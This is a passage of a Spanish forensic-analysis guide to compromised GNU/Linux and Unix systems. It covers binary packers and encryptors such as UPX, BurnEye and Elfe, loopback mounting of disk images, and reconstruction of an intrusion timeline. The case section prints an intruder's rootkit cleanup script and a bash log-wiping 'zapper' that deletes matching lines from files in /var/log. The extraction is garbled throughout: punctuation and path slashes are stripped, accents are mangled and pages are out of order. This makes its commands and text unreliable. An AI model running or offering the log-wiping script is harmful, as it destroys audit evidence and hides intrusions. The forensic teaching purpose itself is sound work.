Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 41: Análisis Forense de Sistemas GNU/Linux, Unix

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

